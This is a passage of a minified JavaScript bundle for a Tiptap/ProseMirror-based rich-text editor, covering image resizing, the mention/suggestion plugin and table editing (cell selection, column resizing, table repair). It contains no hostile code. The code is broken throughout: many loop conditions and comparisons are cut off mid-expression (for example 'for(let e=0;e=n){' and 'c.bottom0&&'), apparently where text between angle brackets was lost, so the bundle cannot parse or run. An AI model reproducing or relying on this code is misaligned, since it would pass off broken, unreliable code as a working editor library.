0&&this.editor.chain().setNodeSelection(y).updateAttributes(this.name,{width:m,height:g}).run()},onUpdate:(m,g,y)=>m.type===a.type,options:{directions:t,min:{width:e,height:n},preserveAspectRatio:r===!0}}),f=h.dom;return f.style.visibility="hidden",f.style.pointerEvents="none",u.onload=()=>{f.style.visibility="",f.style.pointerEvents=""},h}},addCommands(){return{setImage:t=>({commands:e})=>e.insertContent({type:this.name,attrs:t})}},addInputRules(){return[q2({find:Iz,type:this.type,getAttributes:t=>{const[,,e,n,r]=t;return{src:n,alt:e,title:r}}})]}}),Pz=Rz;function Oz(t){var e;const{char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:c}=t,u=r&&!a,h=_6(n),f=new RegExp(`\\s${h}$`),m=o?"^":"",g=a?"":h,y=u?new RegExp(`${m}${h}.*?(?=\\s${g}|$)`,"gm"):new RegExp(`${m}(?:^)?${h}[^\\s${g}]*`,"gm"),N=((e=c.nodeBefore)==null?void 0:e.isText)&&c.nodeBefore.text;if(!N)return null;const w=c.pos-N.length,v=Array.from(N.matchAll(y)).pop();if(!v||v.input===void 0||v.index===void 0)return null;const k=v.input.slice(Math.max(0,v.index-1),v.index),C=new RegExp(`^[${i==null?void 0:i.join("")}\0]?$`).test(k);if(i!==null&&!C)return null;const E=w+v.index;let T=E+v[0].length;return u&&f.test(N.slice(T-1,T+1))&&(v[0]+=" ",T+=1),E=c.pos?{range:{from:E,to:T},query:v[0].slice(n.length),text:v[0]}:null}var Dz=new tn("suggestion");function Lz({pluginKey:t=Dz,editor:e,char:n="@",allowSpaces:r=!1,allowToIncludeChar:a=!1,allowedPrefixes:i=[" "],startOfLine:o=!1,decorationTag:c="span",decorationClass:u="suggestion",decorationContent:h="",decorationEmptyClass:f="is-empty",command:m=()=>null,items:g=()=>[],render:y=()=>({}),allow:N=()=>!0,findSuggestionMatch:w=Oz,shouldShow:v}){let k;const C=y==null?void 0:y(),E=()=>{const L=e.state.selection.$anchor.pos,R=e.view.coordsAtPos(L),{top:D,right:z,bottom:Z,left:ne}=R;try{return new DOMRect(ne,D,z-ne,Z-D)}catch{return null}},T=(L,R)=>R?()=>{const D=t.getState(e.state),z=D==null?void 0:D.decorationId,Z=L.dom.querySelector(`[data-decoration-id="${z}"]`);return(Z==null?void 0:Z.getBoundingClientRect())||null}:E;function I(L,R){var D;try{const Z=t.getState(L.state),ne=Z!=null&&Z.decorationId?L.dom.querySelector(`[data-decoration-id="${Z.decorationId}"]`):null,fe={editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},query:(Z==null?void 0:Z.query)||null,text:(Z==null?void 0:Z.text)||null,items:[],command:xe=>m({editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},props:xe}),decorationNode:ne,clientRect:T(L,ne)};(D=C==null?void 0:C.onExit)==null||D.call(C,fe)}catch{}const z=L.state.tr.setMeta(R,{exit:!0});L.dispatch(z)}const O=new Kt({key:t,view(){return{update:async(L,R)=>{var D,z,Z,ne,fe,xe,$;const H=(D=this.key)==null?void 0:D.getState(R),oe=(z=this.key)==null?void 0:z.getState(L.state),P=H.active&&oe.active&&H.range.from!==oe.range.from,q=!H.active&&oe.active,B=H.active&&!oe.active,_=!q&&!B&&H.query!==oe.query,W=q||P&&_,le=_||P,J=B||P&&_;if(!W&&!le&&!J)return;const Y=J&&!W?H:oe,V=L.dom.querySelector(`[data-decoration-id="${Y.decorationId}"]`);k={editor:e,range:Y.range,query:Y.query,text:Y.text,items:[],command:re=>m({editor:e,range:Y.range,props:re}),decorationNode:V,clientRect:T(L,V)},W&&((Z=C==null?void 0:C.onBeforeStart)==null||Z.call(C,k)),le&&((ne=C==null?void 0:C.onBeforeUpdate)==null||ne.call(C,k)),(le||W)&&(k.items=await g({editor:e,query:Y.query})),J&&((fe=C==null?void 0:C.onExit)==null||fe.call(C,k)),le&&((xe=C==null?void 0:C.onUpdate)==null||xe.call(C,k)),W&&(($=C==null?void 0:C.onStart)==null||$.call(C,k))},destroy:()=>{var L;k&&((L=C==null?void 0:C.onExit)==null||L.call(C,k))}}},state:{init(){return{active:!1,range:{from:0,to:0},query:null,text:null,composing:!1}},apply(L,R,D,z){const{isEditable:Z}=e,{composing:ne}=e.view,{selection:fe}=L,{empty:xe,from:$}=fe,H={...R},oe=L.getMeta(t);if(oe&&oe.exit)return H.active=!1,H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null,H;if(H.composing=ne,Z&&(xe||e.view.composing)){($R.range.to)&&!ne&&!R.composing&&(H.active=!1);const P=w({char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:fe.$from}),q=`id_${Math.floor(Math.random()*4294967295)}`;P&&N({editor:e,state:z,range:P.range,isActive:R.active})&&(!v||v({editor:e,range:P.range,query:P.query,text:P.text,transaction:L}))?(H.active=!0,H.decorationId=R.decorationId?R.decorationId:q,H.range=P.range,H.query=P.query,H.text=P.text):H.active=!1}else H.active=!1;return H.active||(H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null),H}},props:{handleKeyDown(L,R){var D,z,Z,ne;const{active:fe,range:xe}=O.getState(L.state);if(!fe)return!1;if(R.key==="Escape"||R.key==="Esc"){const H=O.getState(L.state),oe=(D=k==null?void 0:k.decorationNode)!=null?D:null,P=oe??(H!=null&&H.decorationId?L.dom.querySelector(`[data-decoration-id="${H.decorationId}"]`):null);if(((z=C==null?void 0:C.onKeyDown)==null?void 0:z.call(C,{view:L,event:R,range:H.range}))||!1)return!0;const B={editor:e,range:H.range,query:H.query,text:H.text,items:[],command:_=>m({editor:e,range:H.range,props:_}),decorationNode:P,clientRect:P?()=>P.getBoundingClientRect()||null:null};return(Z=C==null?void 0:C.onExit)==null||Z.call(C,B),I(L,t),!0}return((ne=C==null?void 0:C.onKeyDown)==null?void 0:ne.call(C,{view:L,event:R,range:xe}))||!1},decorations(L){const{active:R,range:D,decorationId:z,query:Z}=O.getState(L);if(!R)return null;const ne=!(Z!=null&&Z.length),fe=[u];return ne&&fe.push(f),$t.create(L.doc,[An.inline(D.from,D.to,{nodeName:c,class:fe.join(" "),"data-decoration-id":z,"data-decoration-content":h})])}}});return O}function _z({editor:t,overrideSuggestionOptions:e,extensionName:n,char:r="@"}){const a=new tn;return{editor:t,char:r,pluginKey:a,command:({editor:i,range:o,props:c})=>{var u,h,f;const m=i.view.state.selection.$to.nodeAfter;((u=m==null?void 0:m.text)==null?void 0:u.startsWith(" "))&&(o.to+=1),i.chain().focus().insertContentAt(o,[{type:n,attrs:{...c,mentionSuggestionChar:r}},{type:"text",text:" "}]).run(),(f=(h=i.view.dom.ownerDocument.defaultView)==null?void 0:h.getSelection())==null||f.collapseToEnd()},allow:({state:i,range:o})=>{const c=i.doc.resolve(o.from),u=i.schema.nodes[n];return!!c.parent.type.contentMatch.matchType(u)},...e}}function EC(t){return(t.options.suggestions.length?t.options.suggestions:[t.options.suggestion]).map(e=>_z({editor:t.editor,overrideSuggestionOptions:e,extensionName:t.name,char:e.char}))}function UN(t,e){const n=EC(t),r=n.find(a=>a.char===e);return r||(n.length?n[0]:null)}var zz=Cn.create({name:"mention",priority:101,addOptions(){return{HTMLAttributes:{},renderText({node:t,suggestion:e}){var n,r;return`${(n=e==null?void 0:e.char)!=null?n:"@"}${(r=t.attrs.label)!=null?r:t.attrs.id}`},deleteTriggerWithBackspace:!1,renderHTML({options:t,node:e,suggestion:n}){var r,a;return["span",St(this.HTMLAttributes,t.HTMLAttributes),`${(r=n==null?void 0:n.char)!=null?r:"@"}${(a=e.attrs.label)!=null?a:e.attrs.id}`]},suggestions:[],suggestion:{}}},group:"inline",inline:!0,selectable:!1,atom:!0,addAttributes(){return{id:{default:null,parseHTML:t=>t.getAttribute("data-id"),renderHTML:t=>t.id?{"data-id":t.id}:{}},label:{default:null,parseHTML:t=>t.getAttribute("data-label"),renderHTML:t=>t.label?{"data-label":t.label}:{}},mentionSuggestionChar:{default:"@",parseHTML:t=>t.getAttribute("data-mention-suggestion-char"),renderHTML:t=>({"data-mention-suggestion-char":t.mentionSuggestionChar})}}},parseHTML(){return[{tag:`span[data-type="${this.name}"]`}]},renderHTML({node:t,HTMLAttributes:e}){const n=UN(this,t.attrs.mentionSuggestionChar);if(this.options.renderLabel!==void 0)return console.warn("renderLabel is deprecated use renderText and renderHTML instead"),["span",St({"data-type":this.name},this.options.HTMLAttributes,e),this.options.renderLabel({options:this.options,node:t,suggestion:n})];const r={...this.options};r.HTMLAttributes=St({"data-type":this.name},this.options.HTMLAttributes,e);const a=this.options.renderHTML({options:r,node:t,suggestion:n});return typeof a=="string"?["span",St({"data-type":this.name},this.options.HTMLAttributes,e),a]:a},...G2({nodeName:"mention",name:"@",selfClosing:!0,allowedAttributes:["id","label",{name:"mentionSuggestionChar",skipIfDefault:"@"}],parseAttributes:t=>{const e={},n=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let r=n.exec(t);for(;r!==null;){const[,a,i,o]=r,c=i??o;e[a==="char"?"mentionSuggestionChar":a]=c,r=n.exec(t)}return e},serializeAttributes:t=>Object.entries(t).filter(([,e])=>e!=null).map(([e,n])=>`${e==="mentionSuggestionChar"?"char":e}="${n}"`).join(" ")}),renderText({node:t}){const e={options:this.options,node:t,suggestion:UN(this,t.attrs.mentionSuggestionChar)};return this.options.renderLabel!==void 0?(console.warn("renderLabel is deprecated use renderText and renderHTML instead"),this.options.renderLabel(e)):this.options.renderText(e)},addKeyboardShortcuts(){return{Backspace:()=>this.editor.commands.command(({tr:t,state:e})=>{let n=!1;const{selection:r}=e,{empty:a,anchor:i}=r;if(!a)return!1;let o=new wa,c=0;return e.doc.nodesBetween(i-1,i,(u,h)=>{if(u.type.name===this.name)return n=!0,o=u,c=h,!1}),n&&t.insertText(this.options.deleteTriggerWithBackspace?"":o.attrs.mentionSuggestionChar,c,c+o.nodeSize),n})}},addProseMirrorPlugins(){return EC(this).map(Lz)}}),$z=zz,Fz=Cz;let Nx,wx;if(typeof WeakMap<"u"){let t=new WeakMap;Nx=e=>t.get(e),wx=(e,n)=>(t.set(e,n),n)}else{const t=[];let n=0;Nx=r=>{for(let a=0;a(n==10&&(n=0),t[n++]=r,t[n++]=a)}var pn=class{constructor(t,e,n,r){this.width=t,this.height=e,this.map=n,this.problems=r}findCell(t){for(let e=0;e=n){(i||(i=[])).push({type:"overlong_rowspan",pos:f,n:k-E});break}const T=a+E*e;for(let I=0;Ir&&(i+=h.attrs.colspan)}}for(let o=0;o1&&(n=!0)}e==-1?e=i:e!=i&&(e=Math.max(e,i))}return e}function Hz(t,e,n){t.problems||(t.problems=[]);const r={};for(let a=0;a0;e--)if(t.node(e).type.spec.tableRole=="row")return t.node(0).resolve(t.before(e+1));return null}function Uz(t){for(let e=t.depth;e>0;e--){const n=t.node(e).type.spec.tableRole;if(n==="cell"||n==="header_cell")return t.node(e)}return null}function Ms(t){const e=t.selection.$head;for(let n=e.depth;n>0;n--)if(e.node(n).type.spec.tableRole=="row")return!0;return!1}function zf(t){const e=t.selection;if("$anchorCell"in e&&e.$anchorCell)return e.$anchorCell.pos>e.$headCell.pos?e.$anchorCell:e.$headCell;if("node"in e&&e.node&&e.node.type.spec.tableRole=="cell")return e.$anchor;const n=ko(e.$head)||Kz(e.$head);if(n)return n;throw new RangeError(`No cell found around position ${e.head}`)}function Kz(t){for(let e=t.nodeAfter,n=t.pos;e;e=e.firstChild,n++){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n)}for(let e=t.nodeBefore,n=t.pos;e;e=e.lastChild,n--){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n-e.nodeSize)}}function jx(t){return t.parent.type.spec.tableRole=="row"&&!!t.nodeAfter}function qz(t){return t.node(0).resolve(t.pos+t.nodeAfter.nodeSize)}function q0(t,e){return t.depth==e.depth&&t.pos>=e.start(-1)&&t.pos<=e.end(-1)}function TC(t,e,n){const r=t.node(-1),a=pn.get(r),i=t.start(-1),o=a.nextCell(t.pos-i,e,n);return o==null?null:t.node(0).resolve(i+o)}function So(t,e,n=1){const r={...t,colspan:t.colspan-n};return r.colwidth&&(r.colwidth=r.colwidth.slice(),r.colwidth.splice(e,n),r.colwidth.some(a=>a>0)||(r.colwidth=null)),r}function MC(t,e,n=1){const r={...t,colspan:t.colspan+n};if(r.colwidth){r.colwidth=r.colwidth.slice();for(let a=0;af!=n.pos-i);u.unshift(n.pos-i);const h=u.map(f=>{const m=r.nodeAt(f);if(!m)throw new RangeError(`No cell with offset ${f} found`);const g=i+f+1;return new yS(c.resolve(g),c.resolve(g+m.content.size))});super(h[0].$from,h[0].$to,h),this.$anchorCell=e,this.$headCell=n}map(e,n){const r=e.resolve(n.map(this.$anchorCell.pos)),a=e.resolve(n.map(this.$headCell.pos));if(jx(r)&&jx(a)&&q0(r,a)){const i=this.$anchorCell.node(-1)!=r.node(-1);return i&&this.isRowSelection()?xa.rowSelection(r,a):i&&this.isColSelection()?xa.colSelection(r,a):new xa(r,a)}return Ze.between(r,a)}content(){const e=this.$anchorCell.node(-1),n=pn.get(e),r=this.$anchorCell.start(-1),a=n.rectBetween(this.$anchorCell.pos-r,this.$headCell.pos-r),i={},o=[];for(let u=a.top;u0||v>0){let k=N.attrs;if(w>0&&(k=So(k,0,w)),v>0&&(k=So(k,k.colspan-v,v)),y.lefta.bottom){const k={...N.attrs,rowspan:Math.min(y.bottom,a.bottom)-Math.max(y.top,a.top)};y.top0)return!1;const r=e+this.$anchorCell.nodeAfter.attrs.rowspan,a=n+this.$headCell.nodeAfter.attrs.rowspan;return Math.max(r,a)==this.$headCell.node(-1).childCount}static colSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.top<=c.top?(o.top>0&&(e=u.resolve(i+a.map[o.left])),c.bottom0&&(n=u.resolve(i+a.map[c.left])),o.bottom0)return!1;const o=a+this.$anchorCell.nodeAfter.attrs.colspan,c=i+this.$headCell.nodeAfter.attrs.colspan;return Math.max(o,c)==n.width}eq(e){return e instanceof xa&&e.$anchorCell.pos==this.$anchorCell.pos&&e.$headCell.pos==this.$headCell.pos}static rowSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.left<=c.left?(o.left>0&&(e=u.resolve(i+a.map[o.top*a.width])),c.right0&&(n=u.resolve(i+a.map[c.top*a.width])),o.right{e.push(An.node(r,r+n.nodeSize,{class:"selectedCell"}))}),$t.create(t.doc,e)}function Qz({$from:t,$to:e}){if(t.pos==e.pos||t.pos=0&&!(t.after(a+1)=0&&!(e.before(i+1)>e.start(i));i--,r--);return n==r&&/row|table/.test(t.node(a).type.spec.tableRole)}function Xz({$from:t,$to:e}){let n,r;for(let a=t.depth;a>0;a--){const i=t.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){n=i;break}}for(let a=e.depth;a>0;a--){const i=e.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){r=i;break}}return n!==r&&e.parentOffset===0}function Zz(t,e,n){const r=(e||t).selection,a=(e||t).doc;let i,o;if(r instanceof Xe&&(o=r.node.type.spec.tableRole)){if(o=="cell"||o=="header_cell")i=Ut.create(a,r.from);else if(o=="row"){const c=a.resolve(r.from+1);i=Ut.rowSelection(c,c)}else if(!n){const c=pn.get(r.node),u=r.from+1,h=u+c.map[c.width*c.height-1];i=Ut.create(a,u+1,h)}}else r instanceof Ze&&Qz(r)?i=Ze.create(a,r.from):r instanceof Ze&&Xz(r)&&(i=Ze.create(a,r.$from.start(),r.$from.end()));return i&&(e||(e=t.tr)).setSelection(i),e}const e$=new tn("fix-tables");function IC(t,e,n,r){const a=t.childCount,i=e.childCount;e:for(let o=0,c=0;o{a.type.spec.tableRole=="table"&&(n=t$(t,a,i,n))};return e?e.doc!=t.doc&&IC(e.doc,t.doc,0,r):t.doc.descendants(r),n}function t$(t,e,n,r){const a=pn.get(e);if(!a.problems)return r;r||(r=t.tr);const i=[];for(let u=0;u0){let y="cell";f.firstChild&&(y=f.firstChild.type.spec.tableRole);const N=[];for(let v=0;v0?-1:0;Gz(e,r,a+i)&&(i=a==0||a==e.width?null:0);for(let o=0;o0&&a0&&e.map[c-1]==u||a0?-1:0;i$(e,r,a+c)&&(c=a==0||a==e.height?null:0);for(let h=0,f=e.width*a;h0&&a0&&m==e.map[f-e.width]){const g=n.nodeAt(m).attrs;t.setNodeMarkup(t.mapping.slice(c).map(m+r),null,{...g,rowspan:g.rowspan-1}),h+=g.colspan-1}else if(a0&&n[i]==n[i-1]||r.right0&&n[a]==n[a-t]||r.bottom0){const f=u+1+h.content.size,m=KN(h)?u+1:f;i.replaceWith(m+r.tableStart,f+r.tableStart,c)}i.setSelection(new Ut(i.doc.resolve(u+r.tableStart))),e(i)}return!0}function GN(t,e){const n=hr(t.schema);return h$(({node:r})=>n[r.type.spec.tableRole])(t,e)}function h$(t){return(e,n)=>{const r=e.selection;let a,i;if(r instanceof Ut){if(r.$anchorCell.pos!=r.$headCell.pos)return!1;a=r.$anchorCell.nodeAfter,i=r.$anchorCell.pos}else{var o;if(a=Uz(r.$from),!a)return!1;i=(o=ko(r.$from))===null||o===void 0?void 0:o.pos}if(a==null||i==null||a.attrs.colspan==1&&a.attrs.rowspan==1)return!1;if(n){let c=a.attrs;const u=[],h=c.colwidth;c.rowspan>1&&(c={...c,rowspan:1}),c.colspan>1&&(c={...c,colspan:1});const f=Js(e),m=e.tr;for(let y=0;y{o.attrs[t]!==e&&i.setNodeMarkup(c,null,{...o.attrs,[t]:e})}):i.setNodeMarkup(a.pos,null,{...a.nodeAfter.attrs,[t]:e}),r(i)}return!0}}function p$(t){return function(e,n){if(!Ms(e))return!1;if(n){const r=hr(e.schema),a=Js(e),i=e.tr,o=a.map.cellsInRect(t=="column"?{left:a.left,top:0,right:a.right,bottom:a.map.height}:t=="row"?{left:0,top:a.top,right:a.map.width,bottom:a.bottom}:a),c=o.map(u=>a.table.nodeAt(u));for(let u=0;u{const y=g+i.tableStart,N=o.doc.nodeAt(y);N&&o.setNodeMarkup(y,m,N.attrs)}),r(o)}return!0}}hd("row",{useDeprecatedLogic:!0});hd("column",{useDeprecatedLogic:!0});const m$=hd("cell",{useDeprecatedLogic:!0});function g$(t,e){if(e<0){const n=t.nodeBefore;if(n)return t.pos-n.nodeSize;for(let r=t.index(-1)-1,a=t.before();r>=0;r--){const i=t.node(-1).child(r),o=i.lastChild;if(o)return a-1-o.nodeSize;a-=i.nodeSize}}else{if(t.index()0;r--)if(n.node(r).type.spec.tableRole=="table")return e&&e(t.tr.delete(n.before(r),n.after(r)).scrollIntoView()),!0;return!1}function qu(t,e){const n=t.selection;if(!(n instanceof Ut))return!1;if(e){const r=t.tr,a=hr(t.schema).cell.createAndFill().content;n.forEachCell((i,o)=>{i.content.eq(a)||r.replace(r.mapping.map(o+1),r.mapping.map(o+i.nodeSize-1),new Ie(a,0,0))}),r.docChanged&&e(r)}return!0}function y$(t){if(t.size===0)return null;let{content:e,openStart:n,openEnd:r}=t;for(;e.childCount==1&&(n>0&&r>0||e.child(0).type.spec.tableRole=="table");)n--,r--,e=e.child(0).content;const a=e.child(0),i=a.type.spec.tableRole,o=a.type.schema,c=[];if(i=="row")for(let u=0;u=0;o--){const{rowspan:c,colspan:u}=i.child(o).attrs;for(let h=a;h=e.length&&e.push(be.empty),n[a]r&&(g=g.type.createChecked(So(g.attrs,g.attrs.colspan,f+g.attrs.colspan-r),g.content)),h.push(g),f+=g.attrs.colspan;for(let y=1;ya&&(m=m.type.create({...m.attrs,rowspan:Math.max(1,a-m.attrs.rowspan)},m.content)),u.push(m)}i.push(be.from(u))}n=i,e=a}return{width:t,height:e,rows:n}}function N$(t,e,n,r,a,i,o){const c=t.doc.type.schema,u=hr(c);let h,f;if(a>e.width)for(let m=0,g=0;me.height){const m=[];for(let N=0,w=(e.height-1)*e.width;N=e.width?!1:n.nodeAt(e.map[w+N]).type==u.header_cell;m.push(v?f||(f=u.header_cell.createAndFill()):h||(h=u.cell.createAndFill()))}const g=u.row.create(null,be.from(m)),y=[];for(let N=e.height;N{if(!a)return!1;const i=n.selection;if(i instanceof Ut)return ah(n,r,rt.near(i.$headCell,e));if(t!="horiz"&&!i.empty)return!1;const o=DC(a,t,e);if(o==null)return!1;if(t=="horiz")return ah(n,r,rt.near(n.doc.resolve(i.head+e),e));{const c=n.doc.resolve(o),u=TC(c,t,e);let h;return u?h=rt.near(u,1):e<0?h=rt.near(n.doc.resolve(c.before(-1)),-1):h=rt.near(n.doc.resolve(c.after(-1)),1),ah(n,r,h)}}}function Ju(t,e){return(n,r,a)=>{if(!a)return!1;const i=n.selection;let o;if(i instanceof Ut)o=i;else{const u=DC(a,t,e);if(u==null)return!1;o=new Ut(n.doc.resolve(u))}const c=TC(o.$headCell,t,e);return c?ah(n,r,new Ut(o.$anchorCell,c)):!1}}function j$(t,e){const n=t.state.doc,r=ko(n.resolve(e));return r?(t.dispatch(t.state.tr.setSelection(new Ut(r))),!0):!1}function k$(t,e,n){if(!Ms(t.state))return!1;let r=y$(n);const a=t.state.selection;if(a instanceof Ut){r||(r={width:1,height:1,rows:[be.from(kx(hr(t.state.schema).cell,n))]});const i=a.$anchorCell.node(-1),o=a.$anchorCell.start(-1),c=pn.get(i).rectBetween(a.$anchorCell.pos-o,a.$headCell.pos-o);return r=v$(r,c.right-c.left,c.bottom-c.top),ZN(t.state,t.dispatch,o,c,r),!0}else if(r){const i=zf(t.state),o=i.start(-1);return ZN(t.state,t.dispatch,o,pn.get(i.node(-1)).findCell(i.pos-o),r),!0}else return!1}function S$(t,e){var n;if(e.button!=0||e.ctrlKey||e.metaKey)return;const r=ew(t,e.target);let a;if(e.shiftKey&&t.state.selection instanceof Ut)i(t.state.selection.$anchorCell,e),e.preventDefault();else if(e.shiftKey&&r&&(a=ko(t.state.selection.$anchor))!=null&&((n=yg(t,e))===null||n===void 0?void 0:n.pos)!=a.pos)i(a,e),e.preventDefault();else if(!r)return;function i(u,h){let f=yg(t,h);const m=ii.getState(t.state)==null;if(!f||!q0(u,f))if(m)f=u;else return;const g=new Ut(u,f);if(m||!t.state.selection.eq(g)){const y=t.state.tr.setSelection(g);m&&y.setMeta(ii,u.pos),t.dispatch(y)}}function o(){t.root.removeEventListener("mouseup",o),t.root.removeEventListener("dragstart",o),t.root.removeEventListener("mousemove",c),ii.getState(t.state)!=null&&t.dispatch(t.state.tr.setMeta(ii,-1))}function c(u){const h=u,f=ii.getState(t.state);let m;if(f!=null)m=t.state.doc.resolve(f);else if(ew(t,h.target)!=r&&(m=yg(t,e),!m))return o();m&&i(m,h)}t.root.addEventListener("mouseup",o),t.root.addEventListener("dragstart",o),t.root.addEventListener("mousemove",c)}function DC(t,e,n){if(!(t.state.selection instanceof Ze))return null;const{$head:r}=t.state.selection;for(let a=r.depth-1;a>=0;a--){const i=r.node(a);if((n<0?r.index(a):r.indexAfter(a))!=(n<0?0:i.childCount))return null;if(i.type.spec.tableRole=="cell"||i.type.spec.tableRole=="header_cell"){const o=r.before(a),c=e=="vert"?n>0?"down":"up":n>0?"right":"left";return t.endOfTextblock(c)?o:null}}return null}function ew(t,e){for(;e&&e!=t.dom;e=e.parentNode)if(e.nodeName=="TD"||e.nodeName=="TH")return e;return null}function yg(t,e){const n=t.posAtCoords({left:e.clientX,top:e.clientY});if(!n)return null;let{inside:r,pos:a}=n;return r>=0&&ko(t.state.doc.resolve(r))||ko(t.state.doc.resolve(a))}var C$=class{constructor(e,n){this.node=e,this.defaultCellMinWidth=n,this.dom=document.createElement("div"),this.dom.className="tableWrapper",this.table=this.dom.appendChild(document.createElement("table")),this.table.style.setProperty("--default-cell-min-width",`${n}px`),this.colgroup=this.table.appendChild(document.createElement("colgroup")),Sx(e,this.colgroup,this.table,n),this.contentDOM=this.table.appendChild(document.createElement("tbody"))}update(e){return e.type!=this.node.type?!1:(this.node=e,Sx(e,this.colgroup,this.table,this.defaultCellMinWidth),!0)}ignoreMutation(e){return e.type=="attributes"&&(e.target==this.table||this.colgroup.contains(e.target))}};function Sx(t,e,n,r,a,i){let o=0,c=!0,u=e.firstChild;const h=t.firstChild;if(h){for(let m=0,g=0;mnew r(m,n,g)),new T$(-1,!1)},apply(o,c){return c.apply(o)}},props:{attributes:o=>{const c=Fr.getState(o);return c&&c.activeHandle>-1?{class:"resize-cursor"}:{}},handleDOMEvents:{mousemove:(o,c)=>{M$(o,c,t,a)},mouseleave:o=>{A$(o)},mousedown:(o,c)=>{I$(o,c,e,n)}},decorations:o=>{const c=Fr.getState(o);if(c&&c.activeHandle>-1)return L$(o,c.activeHandle)},nodeViews:{}}});return i}var T$=class ih{constructor(e,n){this.activeHandle=e,this.dragging=n}apply(e){const n=this,r=e.getMeta(Fr);if(r&&r.setHandle!=null)return new ih(r.setHandle,!1);if(r&&r.setDragging!==void 0)return new ih(n.activeHandle,r.setDragging);if(n.activeHandle>-1&&e.docChanged){let a=e.mapping.map(n.activeHandle,-1);return jx(e.doc.resolve(a))||(a=-1),new ih(a,n.dragging)}return n}};function M$(t,e,n,r){if(!t.editable)return;const a=Fr.getState(t.state);if(a&&!a.dragging){const i=P$(e.target);let o=-1;if(i){const{left:c,right:u}=i.getBoundingClientRect();e.clientX-c<=n?o=tw(t,e,"left",n):u-e.clientX<=n&&(o=tw(t,e,"right",n))}if(o!=a.activeHandle){if(!r&&o!==-1){const c=t.state.doc.resolve(o),u=c.node(-1),h=pn.get(u),f=c.start(-1);if(h.colCount(c.pos-f)+c.nodeAfter.attrs.colspan-1==h.width-1)return}LC(t,o)}}}function A$(t){if(!t.editable)return;const e=Fr.getState(t.state);e&&e.activeHandle>-1&&!e.dragging&&LC(t,-1)}function I$(t,e,n,r){var a;if(!t.editable)return!1;const i=(a=t.dom.ownerDocument.defaultView)!==null&&a!==void 0?a:window,o=Fr.getState(t.state);if(!o||o.activeHandle==-1||o.dragging)return!1;const c=t.state.doc.nodeAt(o.activeHandle),u=R$(t,o.activeHandle,c.attrs);t.dispatch(t.state.tr.setMeta(Fr,{setDragging:{startX:e.clientX,startWidth:u}}));function h(m){i.removeEventListener("mouseup",h),i.removeEventListener("mousemove",f);const g=Fr.getState(t.state);g!=null&&g.dragging&&(O$(t,g.activeHandle,nw(g.dragging,m,n)),t.dispatch(t.state.tr.setMeta(Fr,{setDragging:null})))}function f(m){if(!m.which)return h(m);const g=Fr.getState(t.state);if(g&&g.dragging){const y=nw(g.dragging,m,n);rw(t,g.activeHandle,y,r)}}return rw(t,o.activeHandle,u,r),i.addEventListener("mouseup",h),i.addEventListener("mousemove",f),e.preventDefault(),!0}function R$(t,e,{colspan:n,colwidth:r}){const a=r&&r[r.length-1];if(a)return a;const i=t.domAtPos(e);let o=i.node.childNodes[i.offset].offsetWidth,c=n;if(r)for(let u=0;u{var e,n;const r=t.getAttribute("colwidth"),a=r?r.split(",").map(i=>parseInt(i,10)):null;if(!a){const i=(e=t.closest("table"))==null?void 0:e.querySelectorAll("colgroup > col"),o=Array.from(((n=t.parentElement)==null?void 0:n.children)||[]).indexOf(t);if(o&&o>-1&&i&&i[o]){const c=i[o].getAttribute("width");return c?[parseInt(c,10)]:null}}return a}}}},tableRole:"cell",isolating:!0,parseHTML(){return[{tag:"td"}]},renderHTML({HTMLAttributes:t}){return["td",St(this.options.HTMLAttributes,t),0]}}),zC=Cn.create({name:"tableHeader",addOptions(){return{HTMLAttributes:{}}},content:"block+",addAttributes(){return{colspan:{default:1},rowspan:{default:1},colwidth:{default:null,parseHTML:t=>{const e=t.getAttribute("colwidth");return e?e.split(",").map(r=>parseInt(r,10)):null}}}},tableRole:"header_cell",isolating:!0,parseHTML(){return[{tag:"th"}]},renderHTML({HTMLAttributes:t}){return["th",St(this.options.HTMLAttributes,t),0]}}),$C=Cn.create({name:"tableRow",addOptions(){return{HTMLAttributes:{}}},content:"(tableCell | tableHeader)*",tableRole:"row",parseHTML(){return[{tag:"tr"}]},renderHTML({HTMLAttributes:t}){return["tr",St(this.options.HTMLAttributes,t),0]}});function Cx(t,e){return e?["width",`${Math.max(e,t)}px`]:["min-width",`${t}px`]}function sw(t,e,n,r,a,i){var o;let c=0,u=!0,h=e.firstChild;const f=t.firstChild;if(f!==null)for(let g=0,y=0;g{const r=t.nodes[n];r.spec.tableRole&&(e[r.spec.tableRole]=r)}),t.cached.tableNodeTypes=e,e}function B$(t,e,n,r,a){const i=F$(t),o=[],c=[];for(let h=0;h{const{selection:e}=t.state;if(!V$(e))return!1;let n=0;const r=w2(e.ranges[0].$from,i=>i.type.name==="table");return r==null||r.node.descendants(i=>{if(i.type.name==="table")return!1;["tableCell","tableHeader"].includes(i.type.name)&&(n+=1)}),n===e.ranges.length?(t.commands.deleteTable(),!0):!1},H$="";function W$(t){return(t||"").replace(/\s+/g," ").trim()}function U$(t,e,n={}){var r;const a=(r=n.cellLineSeparator)!=null?r:H$;if(!t||!t.content||t.content.length===0)return"";const i=[];t.content.forEach(N=>{const w=[];N.content&&N.content.forEach(v=>{let k="";v.content&&Array.isArray(v.content)&&v.content.length>1?k=v.content.map(I=>e.renderChildren(I)).join(a):k=v.content?e.renderChildren(v.content):"";const C=W$(k),E=v.type==="tableHeader";w.push({text:C,isHeader:E})}),i.push(w)});const o=i.reduce((N,w)=>Math.max(N,w.length),0);if(o===0)return"";const c=new Array(o).fill(0);i.forEach(N=>{var w;for(let v=0;vc[v]&&(c[v]=C),c[v]<3&&(c[v]=3)}});const u=(N,w)=>N+" 